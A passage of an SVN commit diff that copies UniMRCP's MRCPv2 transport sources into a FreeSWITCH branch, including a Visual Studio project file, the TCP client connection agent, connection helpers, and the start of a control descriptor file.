+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpv2transport.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_client_connection.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_connection.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_connection_types.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_control_descriptor.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_server_connection.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_client_connection.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_connection.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_control_descriptor.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_server_connection.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_client_connection.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_client_connection.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_client_connection.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_client_connection.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_client_connection.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,636 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_connection.h"
+#include "mrcp_client_connection.h"
+#include "mrcp_control_descriptor.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_message.h"
+#include "apt_text_stream.h"
+#include "apt_task.h"
+#include "apt_pollset.h"
+#include "apt_cyclic_queue.h"
+#include "apt_log.h"
+
+#define MRCPV2_CONNECTION_TASK_NAME "TCP/MRCPv2 Connection Agent"
+
+struct mrcp_connection_agent_t {
+	apr_pool_t              *pool;
+	apt_task_t              *task;
+
+	mrcp_resource_factory_t *resource_factory;
+
+	apt_obj_list_t          *connection_list;
+
+	apt_bool_t               offer_new_connection;
+	apr_size_t               max_connection_count;
+
+	apr_thread_mutex_t      *guard;
+	apt_cyclic_queue_t      *msg_queue;
+	apt_pollset_t           *pollset;
+
+	void                                 *obj;
+	const mrcp_connection_event_vtable_t *vtable;
+};
+
+typedef enum {
+	CONNECTION_TASK_MSG_ADD_CHANNEL,
+	CONNECTION_TASK_MSG_MODIFY_CHANNEL,
+	CONNECTION_TASK_MSG_REMOVE_CHANNEL,
+	CONNECTION_TASK_MSG_SEND_MESSAGE,
+	CONNECTION_TASK_MSG_TERMINATE
+} connection_task_msg_type_e;
+
+typedef struct connection_task_msg_t connection_task_msg_t;
+struct connection_task_msg_t {
+	connection_task_msg_type_e type;
+	mrcp_connection_agent_t   *agent;
+	mrcp_control_channel_t    *channel;
+	mrcp_control_descriptor_t *descriptor;
+	mrcp_message_t            *message;
+};
+
+
+static apt_bool_t mrcp_client_agent_task_run(apt_task_t *task);
+static apt_bool_t mrcp_client_agent_task_terminate(apt_task_t *task);
+static apt_bool_t mrcp_client_agent_task_on_destroy(apt_task_t *task);
+
+/** Create connection agent. */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_client_connection_agent_create(
+											apr_size_t max_connection_count, 
+											apt_bool_t offer_new_connection,
+											apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	mrcp_connection_agent_t *agent;
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "MRCPV2_CONNECTION_TASK_NAME" [%d]",max_connection_count);
+	agent = apr_palloc(pool,sizeof(mrcp_connection_agent_t));
+	agent->pool = pool;
+	agent->pollset = NULL;
+	agent->max_connection_count = max_connection_count;
+	agent->offer_new_connection = offer_new_connection;
+
+	agent->task = apt_task_create(agent,NULL,pool);
+	if(!agent->task) {
+		return NULL;
+	}
+
+	apt_task_name_set(agent->task,MRCPV2_CONNECTION_TASK_NAME);
+	vtable = apt_task_vtable_get(agent->task);
+	if(vtable) {
+		vtable->run = mrcp_client_agent_task_run;
+		vtable->terminate = mrcp_client_agent_task_terminate;
+		vtable->destroy = mrcp_client_agent_task_on_destroy;
+	}
+
+	agent->connection_list = apt_list_create(pool);
+
+	agent->msg_queue = apt_cyclic_queue_create(CYCLIC_QUEUE_DEFAULT_SIZE);
+	apr_thread_mutex_create(&agent->guard,APR_THREAD_MUTEX_UNNESTED,pool);
+	return agent;
+}
+
+/** Virtual destroy handler. */
+static apt_bool_t mrcp_client_agent_task_on_destroy(apt_task_t *task)
+{
+	mrcp_connection_agent_t *agent = apt_task_object_get(task);
+	if(agent->guard) {
+		apr_thread_mutex_destroy(agent->guard);
+		agent->guard = NULL;
+	}
+	if(agent->msg_queue) {
+		apt_cyclic_queue_destroy(agent->msg_queue);
+		agent->msg_queue = NULL;
+	}
+	return TRUE;
+}
+
+/** Destroy connection agent. */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_destroy(mrcp_connection_agent_t *agent)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy MRCPv2 Agent");
+	return apt_task_destroy(agent->task);
+}
+
+/** Start connection agent. */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_start(mrcp_connection_agent_t *agent)
+{
+	return apt_task_start(agent->task);
+}
+
+/** Terminate connection agent. */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_terminate(mrcp_connection_agent_t *agent)
+{
+	return apt_task_terminate(agent->task,TRUE);
+}
+
+/** Set connection event handler. */
+MRCP_DECLARE(void) mrcp_client_connection_agent_handler_set(
+									mrcp_connection_agent_t *agent, 
+									void *obj, 
+									const mrcp_connection_event_vtable_t *vtable)
+{
+	agent->obj = obj;
+	agent->vtable = vtable;
+}
+
+/** Set MRCP resource factory */
+MRCP_DECLARE(void) mrcp_client_connection_resource_factory_set(
+								mrcp_connection_agent_t *agent, 
+								mrcp_resource_factory_t *resource_factroy)
+{
+	agent->resource_factory = resource_factroy;
+}
+
+/** Get task */
+MRCP_DECLARE(apt_task_t*) mrcp_client_connection_agent_task_get(mrcp_connection_agent_t *agent)
+{
+	return agent->task;
+}
+
+/** Get external object */
+MRCP_DECLARE(void*) mrcp_client_connection_agent_object_get(mrcp_connection_agent_t *agent)
+{
+	return agent->obj;
+}
+
+
+/** Create control channel */
+MRCP_DECLARE(mrcp_control_channel_t*) mrcp_client_control_channel_create(mrcp_connection_agent_t *agent, void *obj, apr_pool_t *pool)
+{
+	mrcp_control_channel_t *channel = apr_palloc(pool,sizeof(mrcp_control_channel_t));
+	channel->agent = agent;
+	channel->connection = NULL;
+	channel->removed = FALSE;
+	channel->obj = obj;
+	channel->pool = pool;
+	return channel;
+}
+
+/** Destroy MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_destroy(mrcp_control_channel_t *channel)
+{
+	if(channel && channel->connection && channel->removed == TRUE) {
+		mrcp_connection_t *connection = channel->connection;
+		channel->connection = NULL;
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy TCP/MRCPv2 Connection %s",connection->id);
+		mrcp_connection_destroy(connection);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_control_message_signal(
+								connection_task_msg_type_e type,
+								mrcp_connection_agent_t *agent,
+								mrcp_control_channel_t *channel,
+								mrcp_control_descriptor_t *descriptor,
+								mrcp_message_t *message)
+{
+	apt_bool_t status;
+	connection_task_msg_t *msg = apr_palloc(channel->pool,sizeof(connection_task_msg_t));
+	msg->type = type;
+	msg->agent = agent;
+	msg->channel = channel;
+	msg->descriptor = descriptor;
+	msg->message = message;
+
+	apr_thread_mutex_lock(agent->guard);
+	status = apt_cyclic_queue_push(agent->msg_queue,msg);
+	apr_thread_mutex_unlock(agent->guard);
+	if(apt_pollset_wakeup(agent->pollset) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Signal Control Message");
+		status = FALSE;
+	}
+	return status;
+}
+
+/** Add MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_add(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor)
+{
+	return mrcp_client_control_message_signal(CONNECTION_TASK_MSG_ADD_CHANNEL,channel->agent,channel,descriptor,NULL);
+}
+
+/** Modify MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_modify(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor)
+{
+	return mrcp_client_control_message_signal(CONNECTION_TASK_MSG_MODIFY_CHANNEL,channel->agent,channel,descriptor,NULL);
+}
+
+/** Remove MRCPv2 control channel */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_remove(mrcp_control_channel_t *channel)
+{
+	return mrcp_client_control_message_signal(CONNECTION_TASK_MSG_REMOVE_CHANNEL,channel->agent,channel,NULL,NULL);
+}
+
+/** Send MRCPv2 message */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_message_send(mrcp_control_channel_t *channel, mrcp_message_t *message)
+{
+	return mrcp_client_control_message_signal(CONNECTION_TASK_MSG_SEND_MESSAGE,channel->agent,channel,NULL,message);
+}
+
+static mrcp_connection_t* mrcp_client_agent_connection_create(mrcp_connection_agent_t *agent, mrcp_control_descriptor_t *descriptor)
+{
+	char *local_ip = NULL;
+	char *remote_ip = NULL;
+	mrcp_connection_t *connection = mrcp_connection_create();
+
+	apr_sockaddr_info_get(&connection->r_sockaddr,descriptor->ip.buf,APR_INET,descriptor->port,0,connection->pool);
+	if(!connection->r_sockaddr) {
+		mrcp_connection_destroy(connection);
+		return NULL;
+	}
+
+	if(apr_socket_create(&connection->sock,connection->r_sockaddr->family,SOCK_STREAM,APR_PROTO_TCP,connection->pool) != APR_SUCCESS) {
+		mrcp_connection_destroy(connection);
+		return NULL;
+	}
+
+	apr_socket_opt_set(connection->sock, APR_SO_NONBLOCK, 0);
+	apr_socket_timeout_set(connection->sock, -1);
+	apr_socket_opt_set(connection->sock, APR_SO_REUSEADDR, 1);
+
+	if(apr_socket_connect(connection->sock, connection->r_sockaddr) != APR_SUCCESS) {
+		apr_socket_close(connection->sock);
+		mrcp_connection_destroy(connection);
+		return NULL;
+	}
+
+	if(apr_socket_addr_get(&connection->l_sockaddr,APR_LOCAL,connection->sock) != APR_SUCCESS) {
+		apr_socket_close(connection->sock);
+		mrcp_connection_destroy(connection);
+		return NULL;
+	}
+
+	apr_sockaddr_ip_get(&local_ip,connection->l_sockaddr);
+	apr_sockaddr_ip_get(&remote_ip,connection->r_sockaddr);
+	connection->id = apr_psprintf(connection->pool,"%s:%hu <-> %s:%hu",
+		local_ip,connection->l_sockaddr->port,
+		remote_ip,connection->r_sockaddr->port);
+
+	memset(&connection->sock_pfd,0,sizeof(apr_pollfd_t));
+	connection->sock_pfd.desc_type = APR_POLL_SOCKET;
+	connection->sock_pfd.reqevents = APR_POLLIN;
+	connection->sock_pfd.desc.s = connection->sock;
+	connection->sock_pfd.client_data = connection;
+	if(apt_pollset_add(agent->pollset, &connection->sock_pfd) != TRUE) {
+		apr_socket_close(connection->sock);
+		mrcp_connection_destroy(connection);
+		return NULL;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Established TCP/MRCPv2 Connection %s",connection->id);
+	connection->agent = agent;
+	connection->it = apt_list_push_back(agent->connection_list,connection,connection->pool);
+	connection->parser = mrcp_parser_create(agent->resource_factory,connection->pool);
+	connection->generator = mrcp_generator_create(agent->resource_factory,connection->pool);
+	return connection;
+}
+
+static mrcp_connection_t* mrcp_client_agent_connection_find(mrcp_connection_agent_t *agent, mrcp_control_descriptor_t *descriptor)
+{
+	apr_sockaddr_t *sockaddr;
+	mrcp_connection_t *connection = NULL;
+	apt_list_elem_t *elem = apt_list_first_elem_get(agent->connection_list);
+	/* walk through the list of connections */
+	while(elem) {
+		connection = apt_list_elem_object_get(elem);
+		if(connection) {
+			if(apr_sockaddr_info_get(&sockaddr,descriptor->ip.buf,APR_INET,descriptor->port,0,connection->pool) == APR_SUCCESS) {
+				if(apr_sockaddr_equal(sockaddr,connection->r_sockaddr) != 0) {
+					return connection;
+				}
+			}
+		}
+		elem = apt_list_next_elem_get(agent->connection_list,elem);
+	}
+	return NULL;
+}
+
+static apt_bool_t mrcp_client_agent_connection_remove(mrcp_connection_agent_t *agent, mrcp_connection_t *connection)
+{
+	/* remove from the list */
+	if(connection->it) {
+		apt_list_elem_remove(agent->connection_list,connection->it);
+		connection->it = NULL;
+	}
+	apt_pollset_remove(agent->pollset,&connection->sock_pfd);
+	if(connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close TCP/MRCPv2 Connection %s",connection->id);
+		apr_socket_close(connection->sock);
+		connection->sock = NULL;
+	}
+	return TRUE;
+}
+
+
+static apt_bool_t mrcp_client_agent_channel_add(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor)
+{
+	if(agent->offer_new_connection == TRUE) {
+		descriptor->connection_type = MRCP_CONNECTION_TYPE_NEW;
+	}
+	else {
+		descriptor->connection_type = MRCP_CONNECTION_TYPE_EXISTING;
+		if(apt_list_is_empty(agent->connection_list) == TRUE) {
+			/* offer new connection if there is no established connection yet */
+			descriptor->connection_type = MRCP_CONNECTION_TYPE_NEW;
+		}
+	}
+	/* send response */
+	return mrcp_control_channel_add_respond(agent->vtable,channel,descriptor,TRUE);
+}
+
+static apt_bool_t mrcp_client_agent_channel_modify(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor)
+{
+	apt_bool_t status = TRUE;
+	if(descriptor->port) {
+		if(!channel->connection) {
+			mrcp_connection_t *connection = NULL;
+			apt_id_resource_generate(&descriptor->session_id,&descriptor->resource_name,'@',&channel->identifier,channel->pool);
+			/* no connection yet */
+			if(descriptor->connection_type == MRCP_CONNECTION_TYPE_EXISTING) {
+				/* try to find existing connection */
+				connection = mrcp_client_agent_connection_find(agent,descriptor);
+				if(!connection) {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Found No Existing TCP/MRCPv2 Connection");
+				}
+			}
+			if(!connection) {
+				/* create new connection */
+				connection = mrcp_client_agent_connection_create(agent,descriptor);
+				if(!connection) {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Establish TCP/MRCPv2 Connection");
+				}
+			}
+
+			if(connection) {
+				mrcp_connection_channel_add(connection,channel);
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add Control Channel <%s> %s [%d]",
+						channel->identifier.buf,
+						connection->id,
+						apr_hash_count(connection->channel_table));
+				if(descriptor->connection_type == MRCP_CONNECTION_TYPE_NEW) {
+					/* set connection type to existing for the next offers / if any */
+					descriptor->connection_type = MRCP_CONNECTION_TYPE_EXISTING;
+				}
+			}
+			else {
+				descriptor->port = 0;
+				status = FALSE;
+			}
+		}
+	}
+	/* send response */
+	return mrcp_control_channel_modify_respond(agent->vtable,channel,descriptor,status);
+}
+
+static apt_bool_t mrcp_client_agent_channel_remove(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel)
+{
+	if(channel->connection) {
+		mrcp_connection_t *connection = channel->connection;
+		mrcp_connection_channel_remove(connection,channel);
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove Control Channel <%s> [%d]",
+				channel->identifier.buf,
+				apr_hash_count(connection->channel_table));
+		if(!connection->access_count) {
+			mrcp_client_agent_connection_remove(agent,connection);
+			/* set connection to be destroyed on channel destroy */
+			channel->connection = connection;
+			channel->removed = TRUE;
+		}
+	}
+	
+	/* send response */
+	return mrcp_control_channel_remove_respond(agent->vtable,channel,TRUE);
+}
+
+static apt_bool_t mrcp_client_agent_messsage_send(mrcp_connection_agent_t *agent, mrcp_control_channel_t *channel, mrcp_message_t *message)
+{
+	apt_bool_t status = FALSE;
+	mrcp_connection_t *connection = channel->connection;
+	apt_text_stream_t *stream;
+	mrcp_stream_result_e result;
+
+	if(!connection || !connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No MRCPv2 Connection");
+		return FALSE;
+	}
+	stream = &connection->tx_stream;
+
+	mrcp_generator_message_set(connection->generator,message);
+	do {
+		apt_text_stream_init(&connection->tx_stream,connection->tx_buffer,sizeof(connection->tx_buffer)-1);
+		result = mrcp_generator_run(connection->generator,stream);
+		if(result == MRCP_STREAM_MESSAGE_COMPLETE || result == MRCP_STREAM_MESSAGE_TRUNCATED) {
+			stream->text.length = stream->pos - stream->text.buf;
+			*stream->pos = '\0';
+
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send MRCPv2 Stream %s [%lu bytes]\n%s",
+				connection->id,
+				stream->text.length,
+				stream->text.buf);
+			if(apr_socket_send(connection->sock,stream->text.buf,&stream->text.length) == APR_SUCCESS) {
+				status = TRUE;
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send MRCPv2 Stream");
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate MRCPv2 Stream");
+		}
+	}
+	while(result == MRCP_STREAM_MESSAGE_TRUNCATED);
+
+	if(status == FALSE) {
+		mrcp_message_t *response = mrcp_response_create(message,message->pool);
+		response->start_line.method_id = message->start_line.method_id;
+		response->start_line.method_name = message->start_line.method_name;
+		response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+		mrcp_connection_message_receive(agent->vtable,channel,response);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_message_handler(void *obj, mrcp_message_t *message, mrcp_stream_result_e result)
+{
+	if(result == MRCP_STREAM_MESSAGE_COMPLETE) {
+		/* message is completely parsed */
+		mrcp_connection_t *connection = obj;
+		mrcp_control_channel_t *channel;
+		apt_str_t identifier;
+		apt_id_resource_generate(&message->channel_id.session_id,&message->channel_id.resource_name,'@',&identifier,message->pool);
+		channel = mrcp_connection_channel_find(connection,&identifier);
+		if(channel) {
+			mrcp_connection_agent_t *agent = connection->agent;
+			mrcp_connection_message_receive(agent->vtable,channel,message);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Find Channel <%s@%s> in Connection %s [%d]",
+				message->channel_id.session_id.buf,
+				message->channel_id.resource_name.buf,
+				connection->id,
+				apr_hash_count(connection->channel_table));
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_agent_messsage_receive(mrcp_connection_agent_t *agent, mrcp_connection_t *connection)
+{
+	apr_status_t status;
+	apr_size_t offset;
+	apr_size_t length;
+	apt_text_stream_t *stream;
+
+	if(!connection || !connection->sock) {
+		return FALSE;
+	}
+	stream = &connection->rx_stream;
+
+	/* init length of the stream */
+	stream->text.length = sizeof(connection->rx_buffer)-1;
+	/* calculate offset remaining from the previous receive / if any */
+	offset = stream->pos - stream->text.buf;
+	/* calculate available length */
+	length = stream->text.length - offset;
+	status = apr_socket_recv(connection->sock,stream->pos,&length);
+	if(status == APR_EOF || length == 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"TCP/MRCPv2 Peer Disconnected %s",connection->id);
+		apt_pollset_remove(agent->pollset,&connection->sock_pfd);
+		apr_socket_close(connection->sock);
+		connection->sock = NULL;
+
+//		agent->vtable->on_disconnect(agent,connection);
+		return TRUE;
+	}
+	/* calculate actual length of the stream */
+	stream->text.length = offset + length;
+	stream->pos[length] = '\0';
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive MRCPv2 Stream %s [%lu bytes]\n%s",
+		connection->id,
+		length,
+		stream->pos);
+
+	/* reset pos */
+	stream->pos = stream->text.buf;
+	/* walk through the stream parsing RTSP messages */
+	return mrcp_stream_walk(connection->parser,stream,mrcp_client_message_handler,connection);
+}
+
+static apt_bool_t mrcp_client_agent_control_process(mrcp_connection_agent_t *agent)
+{
+	apt_bool_t status = TRUE;
+	apt_bool_t running = TRUE;
+	connection_task_msg_t *msg;
+
+	do {
+		apr_thread_mutex_lock(agent->guard);
+		msg = apt_cyclic_queue_pop(agent->msg_queue);
+		apr_thread_mutex_unlock(agent->guard);
+		if(msg) {
+			switch(msg->type) {
+				case CONNECTION_TASK_MSG_ADD_CHANNEL:
+					mrcp_client_agent_channel_add(agent,msg->channel,msg->descriptor);
+					break;
+				case CONNECTION_TASK_MSG_MODIFY_CHANNEL:
+					mrcp_client_agent_channel_modify(agent,msg->channel,msg->descriptor);
+					break;
+				case CONNECTION_TASK_MSG_REMOVE_CHANNEL:
+					mrcp_client_agent_channel_remove(agent,msg->channel);
+					break;
+				case CONNECTION_TASK_MSG_SEND_MESSAGE:
+					mrcp_client_agent_messsage_send(agent,msg->channel,msg->message);
+					break;
+				case CONNECTION_TASK_MSG_TERMINATE:
+					status = FALSE;
+					break;
+			}
+		}
+		else {
+			running = FALSE;
+		}
+	}
+	while(running == TRUE);
+	return status;
+}
+
+static apt_bool_t mrcp_client_agent_task_run(apt_task_t *task)
+{
+	mrcp_connection_agent_t *agent = apt_task_object_get(task);
+	apt_bool_t running = TRUE;
+	apr_status_t status;
+	apr_int32_t num;
+	const apr_pollfd_t *ret_pfd;
+	int i;
+
+	if(!agent) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start MRCPv2 Agent");
+		return FALSE;
+	}
+
+	agent->pollset = apt_pollset_create((apr_uint32_t)agent->max_connection_count,agent->pool);
+	if(!agent->pollset) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Pollset");
+		return FALSE;
+	}
+
+	while(running) {
+		status = apt_pollset_poll(agent->pollset, -1, &num, &ret_pfd);
+		if(status != APR_SUCCESS) {
+			continue;
+		}
+		for(i = 0; i < num; i++) {
+			if(apt_pollset_is_wakeup(agent->pollset,&ret_pfd[i])) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Control Message");
+				if(mrcp_client_agent_control_process(agent) == FALSE) {
+					running = FALSE;
+					break;
+				}
+				continue;
+			}
+	
+			mrcp_client_agent_messsage_receive(agent,ret_pfd[i].client_data);
+		}
+	}
+
+	apt_pollset_destroy(agent->pollset);
+	agent->pollset = NULL;
+
+	apt_task_child_terminate(agent->task);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_client_agent_task_terminate(apt_task_t *task)
+{
+	apt_bool_t status = FALSE;
+	mrcp_connection_agent_t *agent = apt_task_object_get(task);
+	if(agent->pollset) {
+		connection_task_msg_t *msg = apr_pcalloc(agent->pool,sizeof(connection_task_msg_t));
+		msg->type = CONNECTION_TASK_MSG_TERMINATE;
+
+		apr_thread_mutex_lock(agent->guard);
+		status = apt_cyclic_queue_push(agent->msg_queue,msg);
+		apr_thread_mutex_unlock(agent->guard);
+		if(apt_pollset_wakeup(agent->pollset) == TRUE) {
+			status = TRUE;
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Signal Control Message");
+		}
+	}
+	return status;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_connection.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_connection.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_connection.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_connection.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_connection.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_connection.h"
+#include "apt_pool.h"
+
+mrcp_connection_t* mrcp_connection_create()
+{
+	mrcp_connection_t *connection;
+	apr_pool_t *pool = apt_pool_create();
+	if(!pool) {
+		return NULL;
+	}
+	
+	connection = apr_palloc(pool,sizeof(mrcp_connection_t));
+	connection->pool = pool;
+	apt_string_reset(&connection->remote_ip);
+	connection->l_sockaddr = NULL;
+	connection->r_sockaddr = NULL;
+	connection->sock = NULL;
+	connection->id = NULL;
+	connection->access_count = 0;
+	connection->it = NULL;
+	connection->channel_table = apr_hash_make(pool);
+	apt_text_stream_init(&connection->rx_stream,connection->rx_buffer,sizeof(connection->rx_buffer)-1);
+	apt_text_stream_init(&connection->tx_stream,connection->tx_buffer,sizeof(connection->tx_buffer)-1);
+	connection->parser = NULL;
+	connection->generator = NULL;
+	return connection;
+}
+
+void mrcp_connection_destroy(mrcp_connection_t *connection)
+{
+	if(connection && connection->pool) {
+		apr_pool_destroy(connection->pool);
+	}
+}
+
+apt_bool_t mrcp_connection_channel_add(mrcp_connection_t *connection, mrcp_control_channel_t *channel)
+{
+	if(!connection || !channel) {
+		return FALSE;
+	}
+	apr_hash_set(connection->channel_table,channel->identifier.buf,channel->identifier.length,channel);
+	channel->connection = connection;
+	connection->access_count++;
+	return TRUE;
+}
+
+mrcp_control_channel_t* mrcp_connection_channel_find(mrcp_connection_t *connection, const apt_str_t *identifier)
+{
+	if(!connection || !identifier) {
+		return NULL;
+	}
+	return apr_hash_get(connection->channel_table,identifier->buf,identifier->length);
+}
+
+apt_bool_t mrcp_connection_channel_remove(mrcp_connection_t *connection, mrcp_control_channel_t *channel)
+{
+	if(!connection || !channel) {
+		return FALSE;
+	}
+	apr_hash_set(connection->channel_table,channel->identifier.buf,channel->identifier.length,NULL);
+	channel->connection = NULL;
+	connection->access_count--;
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_control_descriptor.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_control_descriptor.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_control_descriptor.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_control_descriptor.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/src/mrcp_control_descriptor.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,112 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_string_table.h"
+#include "mrcp_control_descriptor.h"
+
+/** String table of mrcp proto types (mrcp_proto_type_e) */
+static const apt_str_table_item_t mrcp_proto_type_table[] = {
+	{{"TCP/MRCPv2",    10},4},
+	{{"TCP/TLS/MRCPv2",14},4}
+};
+
+/** String table of mrcp attributes (mrcp_attrib_e) */
+static const apt_str_table_item_t mrcp_attrib_table[] = {
+	{{"setup",      5},0},
+	{{"connection",10},1},
+	{{"resource",   8},0},
